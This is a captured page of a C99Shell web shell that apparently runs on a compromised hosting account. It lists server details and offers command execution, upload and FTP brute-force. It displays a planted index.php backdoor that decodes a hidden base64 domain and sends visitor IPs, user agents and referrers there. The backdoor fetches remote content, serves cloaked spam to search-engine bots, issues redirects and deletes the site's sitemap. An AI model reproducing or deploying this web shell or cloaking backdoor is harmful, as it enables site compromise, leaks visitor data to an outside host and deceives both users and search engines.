!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mgprodee.com/css/   drwxr-xr-x
Free 236.3 GB of 981.82 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (4.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
@set_time_limit(0);
@
error_reporting(0);
@
ignore_user_abort(1);
if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
    
$path $_SERVER['DOCUMENT_ROOT'];
}else{
    
$path dirname(__FILE__);
}
if(
file_exists($file $path."/sitemap.xml")) {
    @
unlink($file);
}
$my_web "bmV3c2dvLmJlbm5lY2RtLnRvcA==";
$http_type "http";
if (
check_https()) {$http_type 'https';} else {$http_type 'http';}
$my_uri urlencode(get_uri());
$to_web urldecode(base64_decode($my_web));
$my_lang urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); 
$my_host urlencode($_SERVER['HTTP_HOST']);
$my_lang urlencode($my_lang);
$my_origin '';
if (isset(
$_SERVER['HTTP_REFERER'])) {
    
$my_origin $_SERVER['HTTP_REFERER'];
}
$my_origin urlencode($my_origin);
$agent strtolower($_SERVER['HTTP_USER_AGENT']);
$my_agent urlencode($agent);
$my_id urlencode(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR']:'');
$zy_source 'http'.'://'.$to_web.'/indexone.php?my_host='.$my_host.'&my_uri='.$my_uri.'&my_lang='.$my_lang.'&my_origin='.$my_origin.'&http_type='.$http_type.'&my_agent='.$my_agent.'&my_id='.$my_id;
if(
strpos($agent"bot") !== false || strpos($agent"spider") !== false || strpos($agent"yahoo") !== false || strpos($agent"bing") !== false || strpos($agent"google") !== false){
    if(
check_agent($my_agent)){
        
$zy_content trim(cdoget($zy_source));
    }
}else{
    
$zy_content trim(cdoget($zy_source));
}

if (!
strstr($zy_content'notdoanything')) {
    if (
strstr($zy_content'echohtmlcontent')) {
        @
header("Content-type: text/html; charset=utf-8");
        
$zy_content str_replace("echohtmlcontent"''$zy_content);
        echo 
$zy_content;
        exit();
    }else if(
strstr($zy_content'echoxmlcontent')){
        
$zy_content str_replace("echoxmlcontent"''$zy_content);
        @
header("Content-type: text/xml");
        echo 
trim($zy_content);
        exit();
    }else if(
strstr($zy_content'echopingxmlcontent')){
        
$zy_content str_replace("echopingxmlcontent"''$zy_content);
        @
header("Content-type: text/html; charset=utf-8");
        echo 
ping_sitemap($zy_content);
        exit();
    }else if (
strstr($zy_content'echo500pagecontent')) {
        @
header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (
strstr($zy_content'echo404pagecontent')) {
        @
header('HTTP/1.1 404 Not Found');
        exit();
    }else if (
strstr($zy_content'echo301pagecontent')) {
        @
header('HTTP/1.1 301 Moved Permanently');
        
$zy_content str_replace("echo301pagecontent"''$zy_content);
        
header('Location: ' $zy_content);
        exit();
    }
}

function 
check_agent($my_agent){
    
$agent strtolower($my_agent);
    if (
$agent != "") {
        
$spiderArray = array("Googlebot""Yahoo! Slurp""Yahoo Slurp""bing.com""bingbot""Google AdSense""google""yahoo""bing");
        foreach (
$spiderArray as $val) {
            
$str strtolower($val);
            if (
strstr($agent$str)) {
                return 
true;
            }
        }
    }else{
        return 
false;
    }
}

function 
check_https(){
    if (isset(
$_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return 
true;
    } elseif (isset(
$_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return 
true;
    } elseif (isset(
$_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return 
true;
    }
    return 
false;
}

function 
get_uri()
{
    if (isset(
$_SERVER['REQUEST_URI'])) {
        
$my_uri $_SERVER['REQUEST_URI'];
    } else {
        if (isset(
$_SERVER['argv'])) {
            
$my_uri $_SERVER['PHP_SELF'] . '?' $_SERVER['argv'][0];
        } else {
            
$my_uri $_SERVER['PHP_SELF'] . '?' $_SERVER['QUERY_STRING'];
        }
    }
    return 
$my_uri;
}

function 
cdoget($zy_source){
    
$contents '';
    
$contents = @file_get_contents($zy_source);
    if(!
$contents){
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL$zy_source);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT30);
        
$contents curl_exec($ch);
        
curl_close($ch);
    }
    return 
$contents;
}

function 
ping_sitemap($zy_content){
    
$url_list explode("#####"trim($zy_content));
    
$result_str '';
    foreach(
$url_list as $url){
        
$ping_result cdoget($url);
        
$ping_msg = (strpos($ping_result'Sitemap Notification Received') !== false) ? 'OK' 'ERROR';
        
$return_str .= $url ' ===> ' $ping_msg '<br>';
    }
    return 
$return_str;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0107 ]--